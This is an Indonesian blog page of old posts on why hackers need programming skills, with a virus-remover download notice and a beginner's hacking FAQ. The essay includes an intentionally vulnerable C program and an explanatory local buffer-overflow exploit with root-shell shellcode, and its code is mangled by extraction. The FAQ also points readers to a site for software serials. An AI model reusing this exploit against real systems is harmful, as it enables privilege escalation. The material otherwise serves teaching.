Hal yang akan saya bahas disini mungkin hanya sebatas teori, bukan lah suatu "teknikal PoC" tentang hacking, bukan pula pembahasan secara mendalam yang bisa di praktekan untuk segera di dapatkan hasil nya, tapi merupakan upaya pendekatan lain untuk memberikan gambaran apa penting nya pemrograman dalam aktivitas hacking yang mungkin saat ini kurang di sadari oleh banyak pihak, terutama pihak-pihak yang hobi 'ngoprek' masalah keamanan di dunia internet baik dari sisi underground maupun profesional internet security.
Berikut sekelumit cuplikan singkat dari csh mengenai filosofi hacker dalam salah satu artikel[1] nya yang menarik untuk dibahas:
"Seorang Hacker dituntut memiliki kemampuan dalam hal pemrograman untuk tingkatan software, dan keahlian dibidang hardware. Tuntutan yang sedemikian luasnya untuk keamanan disisi sistem aplikasi dan jaringan, memberikan motivasi bagi seorang Hacker untuk mengembangkan keahlian tersebut sehingga hasil dari penelitian yang dilakukan akan memberikan dampak yang positif bagi kelangsungan IT itu sendiri."
Penjelasan mengenai filosofi seorang hacker dapat dibaca secara lengkap pada artikel beliau, pada artikel ini saya hanya akan memberikan gambaran lebih mendetail dan (hopefully) lebih menyentuh mengenai penting nya pemrograman untuk menjadi seorang hacker. Let's kick off.
Apa itu program …? Program secara kasar bisa kita artikan sebagai 'sesuatu' yang dapat membuat suatu perangkat keras atau mesin bekerja sesuai dengan yang kita harapkan. Salah satu contoh mudah adalah kalkulator, dengan ada nya program pada kalkulator tersebut maka kita bisa membuat benda mungil itu membantu kita melakukan operasi perkalian, pembagian, penambahan dan pengurangan. Tanpa ada nya program, benda mungil tersebut tidak akan bisa melakukan apa-apa, hanya seonggok kotak yang tidak berguna sama sekali.
Contoh yang lebih menarik mungkin sebuah robot. Robot terbuat dari perangkat keras dimana terdapat program di dalam nya yang akan mengatur robot tersebut sehingga bisa melakukan gerakan, berbicara, main bola, dsb. Inti nya, program lah yang akan membuat seonggok besi menjadi bernilai sehingga bisa melakukan banyak hal dan membantu manusia dalam kegiatan sehari-hari baik di rumah, di sekolah, di kantor, hingga di perusahaan-perusahaan besar.
Bagaimana dengan computer ? sama saja, tanpa ada nya program maka sekotak komputer yang terbuat dari besi-besi itu tidak akan berguna sama sekali. Kamu bisa cari sejarah tentang perkembangan komputer melalui http://en.wikipedia.org/wiki/Computer. Namun untuk mempermudah, kita persempit pembahasan program hanya untuk komputer desktop.
Awal nya program terbatas hanya untuk melakukan hal-hal yang sifat nya spesifik dan ruang lingkup nya kecil, misal nya seperti kalkulator dimana program terbatas hanya untuk melakukan operasi hitung. Implementasi pada mesin-mesin kelas berat juga awal nya spesifik untuk hal-hal tertentu seperti mengangkat container. Seiring dengan semakin canggih nya teknologi processor dan memory maka dapat di hasilkan komputer yang mampu menjalankan lebih dari satu fungsi, salah satu nya adalah jenis komputer desktop.
Komputer desktop di harapkan dapat menjadi mesin yang mampu melakukan berbagai macam fungsi. Perhitungan, aplikasi kantor, aplikasi gambar, dsb. Untuk itu, kita tidak bisa hanya memberikan satu jenis program pada mesin tersebut. Apabila hanya di berikan program untuk perhitungan (misal nya: calc) maka komputer desktop tersebut hanya dapat melakukan fungsi perhitungan. Komputer desktop diharapkan dapat digunakan untuk melakukan berbagai macam fungsi, dan fungsi-fungsi tersebut diharapkan dapat di perluas oleh berbagai macam pihak sehingga lebih banyak pihak yang bisa memanfaatkan sekotak besi tersebut untuk melakukan hal yang mereka inginkan.
Untuk itulah diperlukan suatu program inti yang bisa menjadi semacam 'rumah' bagi program-program lain nya. Tugas dari program inti ini adalah menyediakan fasilitas bagi setiap pihak yang ingin memanfaatkan perangkat keras (komputer, yang terdiri dari prosesor, memory, harddisk, dsb) tersebut untuk menjalan fungsi sesuai kehendak nya. Contoh mudah nya: pembuat program kalkulator dapat memanfatkan komputer untuk mengembangkan program yang dapat melakukan perhitungan, dan di saat yang bersamaan dengan menggunakan komputer yang sama pembuat program gambar dapat memanfaatkan komputer tsb untuk mengembangkan program yang dapat membantu proses gambar secara cepat dan akurat.
Program inti ini yang menjadi jembatan penghubung interaksi antara mesin dengan manusia, program inti inilah yang umum dikenal dengan sebutan "sistem operasi".
Bahasa Pemrograman. Sejak ditemukan nya komputer, banyak sekali jenis bahasa pemrograman yang digunakan untuk membuat program. Seperti yang telah di bahas sebelum nya, komputer hanyalah seperangkat besi yang di isi oleh program. Untuk membuat perangkat besi tersebut bekerja, kita harus memasukan kode-kode program yang di mengerti oleh perangkat besi tersebut. Pada awal perkembangan nya, manusia menggunakan kode-kode mesin untuk membuat program. Bahasa mesin ini digunakan untuk 'menyuruh' komputer melakukan tugas sesuai kehendak kita. Tentu saja pada awal nya bahasa ini sangat sederhana, karena biar bagaimanapun bahasa yang di mengerti oleh mesin hanyalah berupa sederetan angka 'nol' (0) dan 'satu' (1).
Namun dengan semakin canggih nya teknologi prosesor, kemampuan perangkat keras semakin hebat. Dan perangkat keras tersebut mampu melakukan banyak fungsi dengan kecepatan yang luar biasa. Hal ini diiringi dengan semakin dibutuhkan nya bahasa pemrograman yang juga mampu memberikan fungsi pada perangkat keras canggih tersebut. Bahasa pemrograman juga semakin canggih dimana bentuk nya semakin manusiawi. Berikut ilustrasi bentuk bahasa pemrograman yang disebut bahasa mesin:
10110110
11010100
11011010
11101101
10110110
11010100
11011010
11101101
Pada awal nya, kita menggunakan bahasa tersebut untuk memberikan perintah pada mesin. Misal nya, perintah tersebut digunakan untuk melakukan operasi penambahan (1+2). Bahasa pemrograman semakin berkembang seiring dengan perkembangan perangkat keras, sehingga perintah untuk melakukan operasi tersebut bisa lebih manusiawi:
mov a,1
mov b,2
add a,b
kode program diatas menghasilkan fungsi yang sama, namun lebih manusiawi dibandingkan dengan bahasa mesin sebelum nya. Dan seiring dengan semakin berkembangnya kebutuhan manusia, maka kemampuan perangkat keras semakin bertambah dengan di ikuti perkembangan bahasa pemrograman yang dapat mengontrol perangkat keras tersebut, bahasa pemrograman pada level ini juga jauh lebih manusiawi dan lebih efisien dengan tetap menghasilkan fungsi yang sama, yaitu penjumlahan, misal nya:
a = a+b
Diantara bahasa pemrograman yang umum digunakan, bahasa C adalah salah satu bahasa yang paling banyak digunakan untuk membuat program. Bahasa C ini juga lah yang digunakan untuk membuat berbagai macam program inti yang kita sebut sistem operasi, diantara nya windows, linux, bsd, dsb.
Bahasa C digunakan untuk membangun berbagai macam sistem operasi yang dapat menjadi jembatan penghubung antara manusia dengan mesin.
Sistem operasi vs Program aplikasi. Saya telah menyebutkan bahwa sistem operasi merupakan program yang menjadi jembatan penghubung antara mesin dengan manusia. Salah satu fungsi dari sistem operasi adalah menyediakan fasilitas bagi pengguna agar dapat ikut mengambil manfaat dari perangkat keras. Misal nya: saat ini komputer belum bisa memainkan musik, sedangkan perangkat keras nya sudah tersedia berupa sound card dan speaker. Kita ingin memanfaatkan sound card dan speaker tersebut untuk membuat komputer mampu memainkan lagu yang kita inginkan. Maka kita sebagai manusia dapat mengembangkan program pemutar lagu (winamp?!) dimana program yang akan kita buat bisa mengakses perangkat keras berupa sound card dan speaker. Di sini lah letak fungsi utama dari sistem operasi, sistem operasi akan menyediakan akses (menjadi jembatan penghubung) ke soundcard dan speaker bagi aplikasi pemutar lagu kita (winamp?!).
Contoh lain nya adalah network adapter. Sistem operasi menyediakan fasilitas untuk akses ke network card, contoh berikut ini cuplikan dari driver untuk salah satu network adapter 3com yang di implementasikan pada sistem operasi linux:
root@h3b:# /usr/src/linux/drivers/net/cat 3c501.c
.....
/**
* el1_close:
* @dev: 3c501 card to shut down
*
* Close a 3c501 card. The IFF_UP flag has been cleared by the user via
* the SIOCSIFFLAGS ioctl. We stop any further transmissions being queued,
* and then disable the interrupts. Finally we reset the chip. The effects
* of the rest will be cleaned up by #el1_open. Always returns 0 indicating
* a success.
*/
static int el1_close(struct net_device *dev)
{
int ioaddr = dev->base_addr;
if (el_debug > 2)
printk(KERN_INFO "%s: Shutting down Ethernet card at %#x.\n", dev->name, ioaddr);
netif_stop_queue(dev);
/*
* Free and disable the IRQ.
*/
free_irq(dev->irq, dev);
outb(AX_RESET, AX_CMD); /* Reset the chip */
return 0;
}
Kode tersebut merupakan program dalam bahasa C. Melalui contoh ini dapat dilihat dengan jelas apa yang dapat dilakukan oleh bahasa pemrograman dan bagaimana bahasa pemrograman digunakan untuk membangun sebuah sistem operasi. Kode tersebut dengan jelas bisa dikatakan merupakan bagian dari sistem operasi.
Program aplikasi merupakan jenis program yang berjalan diatas sebuah sistem operasi. Program aplikasi menggunakan banyak sekali fasilitas yang di berikan oleh sistem operasi, misal nya aplikasi internet browser. Internet browser seperti internet explorer ataupun mozilla firefox menggunakan fasilitas seperti akses ke layar monitor, akses ke mouse, akses ke soundcard, akses ke keyboard, akses ke network card, dsb. Akses-akses ke perangkat keras tersebut disediakan oleh sistem operasi untuk program aplikasi, sehingga pembuat program aplikasi tidak perlu repot-repot memikirkan bagaimana cara nya mengakses perangkat keras karena sudah disediakan oleh pembuat sistem operasi :).
Bugs. "Nobody perfect", tidak ada orang ataupun sesuatu yang sempurna di dunia ini. Begitu pula dengan program. Program dibuat oleh manusia yang memiliki keterbatasan, sehebat-hebat nya suatu program...pasti tidak akan pernah 100% sempurna. Program dibuat dengan menggunakan logika manusia, dan dengan keterbatasan manusia maka setiap program pasti memiliki kelemahan atau kekurangan. Segala sesuatu yang berhubungan dengan fungsi dalam komputer adalah program, sistem operasi adalah program, aplikasi adalah program, driver adalah program, bahkan bahasa pemrograman itu sendiri adalah sebuah program. Dan semua yang disebut program memiliki kekurangan, kekurangan ini dikenal dengan istilah bugs.
Efek dari bugs berbagai macam, misal nya contoh kode program di bawah ini:
root@h3b# cat vuln.c
#include
#include
void buffer_overflow(char *str)
{
char buffer[500];
strcpy(buffer,str);
puts(buffer);
}
int main(int argc, char *argv[])
{
buffer_overflow(argv[1]);
return 0;
}
Contoh program diatas akan berjalan normal apabila buffer[500] digunakan untuk menampung karakter kurang dari 500, dan akan menghasilkan error apabila menampung karakter lebih dari 500. Kesalahan ini masuk dalam hal logika, dimana si pembuat program tidak memperhitungkan kondisi dimana pengguna aplikasi yang dia buat bisa saja memasukan jumlah karakter lebih dari 500. Kesalahan inilah yang disebut sebagai bugs dan apabila di lihat dari sudut pandang seorang programmer, maka program miliknya memiliki kekurangan dan harus segera diperbaiki.
Sang pembuat, dan sang pencari kesalahan. "Kebiasaan-kebiasaan mengucapkan 'I Hack This Stuff' seakan-akan memberikan arti bahwa istilah Hack merupakan kegiatan yang sedang dan memperoleh hasil setelah melakukan pengembangan terhadap segala sesuatu yang dilakukan. Pengembangan-pengembangan yang secara khusus diberikan kepada minicomputer dan microcomputer tersebutlah istilah "Computer Hacker" terbentuk."
Banyak sekali literatur-literatur filosofi yang memberikan gambaran mengenai konsep seorang hacker, terutama saat-saat awal dimana istilah tersebut terbentuk. Saya secara khusus memiliki pandangan dan pendapat bahwa seorang hacker adalah seseorang yang memiliki rasa ingin tahu yang sangat tinggi terhadap ilmu pengetahuan dan mengimplementasikan ilmu nya guna menghasilkan sesuatu yang bermanfaat bagi orang lain.
Dengan singkat dapat di katakan bahwa "programmer adalah seorang hacker", karena mereka berkreasi dan terus membuat sesuatu yang dapat digunakan untuk kepentingan manusia. Para hacker membuat seonggok besi dapat digunakan untuk mempermudah pekerjaan manusia, para hacker menghasilkan sistem operasi, para hacker menghasilkan program aplikasi, dan para hacker menghasilkan bahasa pemrograman untuk mempermudah hacker-hacker lain nya dalam ber-kreasi.
Namun dunia tidak selalu lurus, tidak selalu baik. Di dunia ini, sedikit kesalahan saja bisa dimanfaatkan untuk memutar balikan fakta. Kesalah kecil dapat menimbulkan efek yang luar biasa besar nya apabila dimanfaatkan dengan sangat lihai dan cerdas :).
Contoh paling umum dalam dunia internet security adalah pemanfaatan kesalahan kecil dari sebuah buffer pada program untuk kemudian digunakan untuk men-take over sebuah sistem operasi atau bahkan sebuah super komputer. Kesalahan logika pada suatu program bisa dimanfaatkan untuk mencuri data, mendapatkan akses penting pada suatu sistem, dan bahkan menghancurkan reputasi sebuah perusahaan besar. Hal inilah yang dilakukan oleh 'para pencari kesalahan' untuk kemudian mengambil manfaat dari kesalahan suatu program (baik aplikasi, sistem operasi, maupun jenis-jenis program lain nya).
Sangat bisa di prediksi bahwa si pencari kesalahan ini juga memiliki kemampuan untuk membuat program, kenapa?! karena si pencari kesalahan mengetahui dengan baik bagaimana suatu program bekerja untuk kemudian di cari-cari kesalahan nya, dan apabila di dapatkan maka digunakan untuk mengambil alih sistem yang lebih besar melalui kesalahan program tersebut.
Aleph1 dalam aritkel nya yang sangat populer "Smashing the stack for fun and profit" memberikan gambaran ilustrasi bagaimana memanfaatkan kesalahan programmer dalam mendefinisikan suatu buffer untuk kemudian mengambil alih sistem tersebut. Dengan kemampuan nya membuat program, aleph1 memberikan gambaran bagaimana membuat 'program nakal' yang akan memanfaatkan bugs buffer tersebut untuk kemudian mendapatkan akses penuh terhadap suatu sistem (access violation), atau biasa kita sebut local buffer overflow.
Berikut ini salah satu bentuk kode program yang dapat digunakan untuk memanfaatkan bugs pada kode "vuln.c" diatas:
root@h3b# cat expl.c
#include
char shellcode[] =
/* ---------------------- Begin ShellCode ---------------------- */
"x6ax17" // push $0x17
"x58" // pop %eax
"x31xdb" // xor %ebx, %ebx
"xcdx80" // int $0x80
"x31xd2" // xor %edx, %edx
"x6ax0b" // push $0xb
"x58" // pop %eax
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp, %ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp, %ecx
"xcdx80"; // int $0x80;
/* -------------------- End Of ShellCode ------------------------- */
/* Fungsi untuk mendapatkan lokasi stack pointer */
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%xn", esp);
printf(" Offset from ESP : 0x%xn", offset);
printf("Desired Return Addr : 0x%xn", ret);
/* Alokasikan 600 byte pada buffer (heap) */
buffer = malloc(600);
/* Isi seluruh buffer dengan lokasi memory yang di inginkan */
/* dlm hal ini merupakan alamat stack pointer saat fungsi dipanggil */
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i <>
{ *(addr_ptr++) = ret; }
/* Timpa isi buffer (200 lokasi awal) dengan instruksi NOP */
for(i=0; i <>
{ buffer[i] = 'x90'; }
/* Letakan shellcode diatas setelah NOP-sled */
ptr = buffer + 200;
for(i=0; i <>
{ *(ptr++) = shellcode[i]; }
/* End the string */
buffer[600-1] = 0;
/* Panggil program vuln dengan buffer diatas sbg input an nya */
execl("./vuln", "vuln", buffer, 0);
// Free the buffer memory
free(buffer);
return 0;
}
Pemanfaatan bugs dapat dilakukan secara manual, namun dapat juga dilakukan melalui pembuatan kode sehingga pengambilalihan sistem bisa dilakukan secara otomatis. Lagi-lagi, untuk ini dibutuhkan program juga. Jenis program 'nakal' ini akan meng-ekspoitasi suatu program (baik aplikasi, sistem, ataupun jenis program lain nya) secara otomatis untuk kemudian dimanfaatkan sesuai dengan kehendak si pembuat program nakal tersebut, diantara nya: membuat sistem kehabisan resource (Denial Of Service), mendapatkan hak akses full pada sistem (take over), dsb. Jenis program nakal inilah yang sering disebut sebagai 'exploit'.
Dan seperti yang telah sering di bahas sebelum nya, akibat dari media massa maka masyarakat berasumsi bahwa para pembuat program nakal itu disebut sebagai 'Hacker'. Sebagian benar, sebagian lagi keliru. Tapi bukan itu inti dari pembahasan kali ini. Dengan memperlihatkan apa sebenar nya komputer, sistem operasi, program aplikasi, serta exploit maka dapat kita katakan bahwa seorang programmer ada lah seorang hacker, si pencari kesalahan juga memiliki kemampuan programming sehingga bisa menemukan letak kesalahan suatu sistem/program aplikasi, dan selanjut nya membuat suatu kode yang digunakan untuk memanfaatkan kesalahan tersebut.
Jadi, bisa kita katakan bahwa si pembuat (hacker) dan si pencari kesalahan (hacker) adalah seorang programmer ;).
'Pencari Kesalahan', called me 'BugHunter'. Mencari kesalahan pada suatu program bukan lah pekerjaan yang mudah, namun juga bukan pekerjaan yang terlalu sulit. Kembali lagi pada pembahasan sebelum nya bahwa segala sesuatu yang berhubungan dengan mesin atau komputer adalah program, sehingga cara terbaik untuk menemukan 'bugs' atau kesalahan pada komputer adalah dengan memahami bahasa pemrograman. Dengan memahami bahasa pemrograman, apalagi dengan memiliki kemampuan membuat suatu program maka seseorang dapat menemukan kesalahan pada sistem operasi, internet browser, mail client , dll karena semua nya terbuat dari program.
Dengan beragam nya bahasa pemograman dan jenis program yang dihasilkan, maka tipikal pencari kesalahan juga berbeda-beda. Walaupun konsep buffer overflow, d0s, remote exploit itu bisa dikatakan mirip untuk setiap jenis program, namun pada praktek nya tidak setiap orang dapat mencari dan memahami segala jenis program (hey, nobody's perfect), namun ada beberapa orang yang sangat berbakat memiliki kemampuan menguasai jauh lebih banyak jenis pemograman dibandingkan orang pada umum nya.
Pencari kesalahan pada suatu program/sistem biasa disebut bughunter (pencari bugs). Dan ada beragam tipe bughunter, ada bughunter di bidang aplikasi web, bughunter kernel, bughunter windows, bughunter linux, dsb. Kenapa?!karena seperti yang telah disebutkan sebelum nya bahwa tipe program itu berbeda-beda, ada program aplikasi, ada program sistem operasi, dll. Sehingga tipe bughunter juga berbeda-beda, walaupun dapat juga kita temukan bughunter yang memiliki kemampuan untuk menemukan kesalahan lebih dari satu tipe program.
Metode yang digunakan oleh para bughunter juga bervariasi, mulai dengan cara manual (old method), source code auditing, trial-and-error, hingga membuat aplikasi yang dapat digunakan untuk proses auditing secara otomatis seperti web-scanner. Inti dari berbagai macam metode ini adalah satu, menemukan 'bug' pada suatu aplikasi yang kemudian dapat menuju pada di temukan nya 'hole' atau celah keamanan untuk kemudian di eksploitasi. Salah satu metode pencarian bug yang populer saat ini adalah dengan menggunakan fuzzer. Fuzzer merupakan tools yang menggunakan metode fuzzy, dengan metode ini maka proses pencarian bugs dapat dilakukan seefisien mungkin. Salah satu contoh fuzzer yang populer dan bagus adalah SPIKE (developed by dave aitel).
'Programming is a must'. Berdasarkan ilustrasi diatas, maka dapat kita simpulkan bahwa seorang hacker adalah juga seorang programmer. Kenapa?!karena untuk bisa mencari kesalahan suatu sistem/aplikasi yang notabene merupakan suatu program haruslah mengerti bagaimana jalan nya program tersebut dan memahami logika si pembuat program, sehingga bisa ditemukan logika kesalahan nya (jangan lupa, program di buat oleh manusia yang memiliki keterbatas).
Saat ini banyak sekali 'script kiddies' berkeliaran dan mengaku-ngaku sebagai hacker, namun percaya atau tidak...banyak dari mereka yang hanya bisa menggunakan tools milik hacker lain tanpa bisa memahami inti/makna dari tools tersebut.
Agar bisa memahami suatu tools exploit, maka minimal kita harus bisa bahasa pemrograman yang digunakan oleh tools tersebut agar mengerti alur logika nya. Agar bisa membuat exploit, maka minimal kita harus bisa menemukan bugs suatu aplikasi yang hendak kita exploit. Untuk bisa menemukan bugs minimal kita harus memahami logika bagaimana aplikasi tersebut di buat dan bagaimana cara untuk exploitasi nya. Untuk bisa exploitasi secara otomatis di butuhkan exploit, dan untuk membuat nya di butuhkan kemampuan programming.
Jadi, mau tidak mau dan suka tidak suka maka di butuhkan skill programming untuk menjadi seorang hacker. Dengan begitu, menguasai bahasa pemrograman (minimal satu) adalah hal yang mutlak untuk bisa menjadi seorang hacker.
Summary. Artikel ini saya buat sebagai bentuk keprihatinan bahwa banyak sekali para penggemar dunia security di Indonesia yang 'ogah' menyentuh pemrograman, dan sudah takut duluan sebelum menyentuh pemrograman. Menguasai pemrograman adalah hal yang mutlak, karena akan sangat berguna dan membantu di segala bidang kehidupan kita, terutama dengan bergulir nya dunia teknologi informasi saat ini. Dan terutama bagi mereka yang bercita-cita menjadi seorang hacker/security analyst/security professional, pemrograman adalah hal yang mutlak...karena biar bagaimanapun kita akan selalu berusaha mencari 'kesalahan' suatu program, jadi paling tidak kita memahami bagaimana cara nya membuat program tersebut.
Semoga bermanfaat.
:by Cyberheb <>
Jumat, 31 Oktober 2008
PROGRAMMER 'VS' HACKER || SANG PEMBUAT 'VS' PENCARI KESALAHAN
Remover For Virus Kspoold
Semakin banyaknya virus baru yang dibuat oleh para programmer lokal, dengan berbagai teknik dan kemasan serta dirancang sedemikian rupa untuk menginfeksi pc di negeri ini, apakah ini sudah menjadi sebuah trand atau fenomena? atau hanya ingin mencari sebuah sensasi, ketenaran dan kepuasan tersendiri. Entahlah hanya yang diatas dan si virus maker yang tau.
Akhir-akhir ini kita sering mendengar virus baru dengan nama “kspoold”, dimana virus ini menginfeksi file berektensi DOC dan XLS. Ini bukan tehknik baru, bahkan ini teknik yang bisa dibilang sudah cukup lama. Penyebaran virus dengan jenis dan tipe seperti ini pernah menyebar dan menginfeksi pada awal tahun 2000an dan sekarang muncul kembali.
Kalo di amati virus ini memasukan dirinya ke dalam file yang berformat DOC dan XLS, dan file aslinya tidak hilang melainkan bersatu dengan file virus.
Menghilangkan virus ini sebetulnya sangatlah mudah, jika virus belum membuat service di windows. Jadi langkah pertamanya harus medisable dan memberhetikan virus ini lewat Adminitrative Tool pada Control Panel.
TApi anda gak perlu susah-susah, cukup dengan menjalankan removernya maka pc akan terbebas dari virus ini (mudah-mudahan).
Silahkan anda modifikasi dan dikembangkan kembali source codenya. Selamat mencoba dan semoga bermanfaat.
download link : http://www.divshare.com/download/1337889-669
AJARI AKU MENJADI HACKER YG BAIK !....
Untuk siapa saja tulisan ini. Tulisan ini ditujukan untuk siapa saja yang tertarik dengan hacking, atau ingin tahu apa yang dimaksud dengan hacking, dan juga bermanfaat bagi siapa saja yang ingin menambah wawasannya tentang komputer dan internet.Petunjuk ini ditujukan untuk tingkat pemula.Tolong Beritahukan kepada saya bagaimana menjadi seorang hackerOh... tidak. Saya rasa anda terlalu banyak nonton film, atau salah pengertian tentang internet, dan berpikiran bahwa melakukan hacking adalah sangat menarik dan saya rasa hal tersebut adalah wajar saja. Kemudian, anda akan bertanya "Ajari saya bagaimana melakukan hack" atau "Bagaimana saya dapat melakukan hack terhadap situs ini". Anda adalah seorang yang panas-panas tahi ayam dan pasti akan diabaikan, dan semua orang akan memanggil anda sebagai lamer, dll ... dan hal ini juga hal yang wajar saja.Jadi, moral dari cerita tersebut adalah : Sebelum anda bertanya "bagaimana saya dapat menjadi seorang hacker" adalah anda harus mengetahui pekerjaan berat apa yang harus anda lakukan, apa yang dimaksud dengan hacking, dll. Jadi petunjuk ini adalah langkah-langkah yang akan mengajari anda begaimana untuk belajar akan hal tersebut.
Baiklah, tetapi saya tidak mengerti.. apakah itu lamer dan newbie ?Secara definisi tidak ada. Oleh karena itu adalah dua kata yang berbeda untuk mereka. Anda bingung tentang siapa itu newbie, lamer atau apa artinya "elite", "warez d00d", "script-kiddie" dan "wanna-be"? Mungkin anda tentu saja tidak mengerti apa yang anda baca . Tulisan ini akan menjelaskan hal ini apa ini dan apa itu:* The Jargon File: http://www.tuxedo.org/~esr/jargon/jargon.html* Hacker Stages: http://www.elfqrin.com/docs/HackerStages.html
Uhm.. mengapa mereka mengabaikan saya? Pelajaran 1: Sebelum melakukan posting ke forum tertentu, baca dahulu aturan dan faq forum dari tersebut. Mengapa anda harus? Baiklah, sebagaimana anda ketahui, FAQ adalah singkatan dari frequently asked questions (pertanyaan-pertanyaan yang sering ditanyakan), dan mereka telah bosan akan hal tersebut, kemudian mereka meletakan jawaban di FAQ. Percaya atau tidak, pertanyaan seperti "ajari saya memasuki account hotmail pacar saya" adalah pertanyaan yang paling sering di tanyakan. Maka, jika anda tidak membaca faq, bukan saja anda yang kelihatan seperti idiot, tetapi anda juga menghabiskan waktu orang lain .. maka:Aturan 1: Baca aturan pada forum. baca FAQ pada forum. Baca dua kali.
Aturan 2: Setelah benar-benar membaca aturan 1, jangan lihat yang lain dekat caps lock.Ini juga petunjuk yang baik tentang "bagaimana melakukan posting supaya tidak diabaikan" ditulis oleh Raven, baca di www.securitywriters.orgJadi, bagaimana kira-kira saya mendapatkan jawaban tersebutUhmm.. setiap orang tahu tentang yahoo.com, dan hampir setiap orang tahu tentang altavista.com. Jadi internet merupakan suatu jaringan yang sangat BESAR, maka orang menganggap usaha mencari menjadi sesuatu yang penting, sehingga mereka membuat suatu yang disebut dengan SEARCH ENGINES. Jadi, haruskah anda mencari jawan pertanyaan anda sendiri ? Ya anda harus melakukannya. Adalah sangat mungkin pertanyaan yang sama pernah ditanyakan orang lain, dan telah pula dijawab oleh yang lain, jadi gunakanlah search engine untuk pertanyaan seperti "Belajar C++". Masuk ke google.com, ketik pada kotak pencarian "Belajar C++". Sebelum belajar bagaimana melakukan pemrograman, anda mesti tahu untuk apa bahasa pemrograman tersebut, jadi carilah "What is C++". Perhatikan point-point yang ada? Sehingga Anda tidak menyebabkan orang lain melakukan hal yang sama berulang-ulang, melainkan mencari jawaban untuk diri sendiri. Ini merupakan praktek yang baik, jadi anda tidak perlu mencari orang yang dapat menjawab pertanyaan anda, karena sudah pernah ada di Internet, dan anda tinggal mencarinya.Aturan 3: Gunakan search engine (google.com)Aturan 4: Gunakan directori (dmoz.org, yahoo.com)Tetapi situs tersebut tidak memenuhi keinginan saya?Hmm.. Jika anda mencari search engine yang baik tentang security* http://astalavista.box.skatau security portal yang baik* http://neworder.box.sk* http://securityfocus.com* http://packetstorm.securify.comHmm.. Saya tidak suka membaca. Apakah ada saran lain?Tidak ada. Anda harus banyak membaca. Hal ini adalah keharusan, karena: membaca = ilmu pengetahuan, ilmu pengetahuan = pengertian dan kebijaksanaan. Anda perlu pengertian dan kebijaksanaan untuk menjadi seorang hacker. Sederhananya, jika anda tidak suka membaca, hentikan membaca ini sekarang juga.
Jadi, apa yang anda rekomendasikan saya untuk dibaca?Saya merekomendasikan anda membaca segala sesuatu yang anda temukan.* http://neworder.box.sk* http://blacksun.box.sk* http://www.securitywriters.org* http://www.phrack.com* http://www.elfqrin.com/hack* http://www.attrition.org --- tulisan ini sangat "panjang*Uhh.. Siapa itu seorang hacker ? Apa itu hacking?Ohh, mudah.* Baca essay "Being Hacker" dan "Open Letter to a wannabe hacker" oleh Elf Qrin dari hacking lab essays* Baca "The Hacker How-to" oleh Eric S. Raymond dari tuxedo.Sangat menarik, ajari saya bagaimana melakukan hackBaca hacking faq yang ada disana .. anda tidak membaca url yang telah saya berikan sebelumnya bukan ? Ketika anda mengerti bahwa pertanyaan ini tidak *berarti* banggalah atas diri anda. Jika anda masih melakukan post pertanyaan ini, baca dari awal petunjuk ini.Bagaimana saya belajar programming?Anda dapat membaca pada* http://code.box.skuntuk mendapatkan ide yang jelas tentang setiap bahasa. Jangan lupa untuk memeriksa tutorial dari "situs lain". Perlu diketahui bahwa, cara mendownload source-code dan melakukan kompilasi copy/paste TIDAK mengajari anda apa-apa... Jika anda rasa susah mencari source code, pergi ke:* http://www.sourceforge.nethal ini akan membuat anda sibuk sesaat.Ahem, Saya menanyakan serial number dan tidak ada yang menjawab..Hal ini tidak ada kaitannya dengan security. Ini adalah alasannya, dan anda tidak membaca aturan forum. Memakai software bajakan adalah ilegal, tetapi jika anda ingin memakainya, jangan tanyakan hal tersebut pada forum 'umum', jadi cari www.astalavista.com.Anda punya saran?Tentu saja.+ Jangan menjawab kepada orang yang panas-panas tahi ayam karena hanya membuang waktu anda dan mereka.+ Jangan membuang waktu dengan membaca pesan pada setiap forum. Bacalah beberapa yang berguna saja seperti Slashdot.org+ Gunakan web board atau irc sebagai pilihan terakhir untuk mendapatkan informasi.+ Jangan mengunakan scripts / program kecuali anda tahu apa yang anda lakukan.+ Jangan mengikuti arus, seperti:* Jangan katakan produk Microsoft tidak baik kecuali anda telah siap untuk menjawab pertanyaan "Mengapa Visual C++ lebih buruk dibandingkan dengan Borland C++ builder?"* Jangan katakan "Linux lebih baik" jika anda tidak bisa menjawab "mengapa linux lebih baik" disamping open-source, lebih stabil, cepat, dan aman, serta kelihatan lucu.* Jangan katakan "Menggunakan GUI tidak lebih baik, gunakan saja command line". Mengetik dengan command tidak membuat l33t. lebih cepat dari pada gui.* Jangan berkata "Ini [program / cara / script / situs / atau yang lainnya ] lebih baik " tanpa mencoba yang lain. Bagaimana anda tahu sesuatu lebih baik tanpa mencoba setiap pilihan?Jangan percaya setiap yang anda baca. Jangan merusak situs web orang lain. Bagaimana perasaan anda jika seseorang bermain-main dengan meletakkan gambar porno sebagai wall paper pada anak komputer anda perempuan anda yang berumur 6 tahun? atau jika hardisk yang berisi data penting anda terformat ?Hmm, Saya tidak ada waktu...Tidak ada masalah, menjadi pemakai biasa dapat juga bergembira. Bye bye.Apakah anda seorang hacker?Tidak.Mengapa saya harus percaya sama anda?Anda tidak perlu percaya sama saya .. atau semua orang yang tidak menanyakan hal tersebut. Jika anda merasa yang anda baca masuk akal, gunakan, jika tidak hanya untuk mengetahuinya.
BAGAIMANA CARA MENJADI HACKER ?
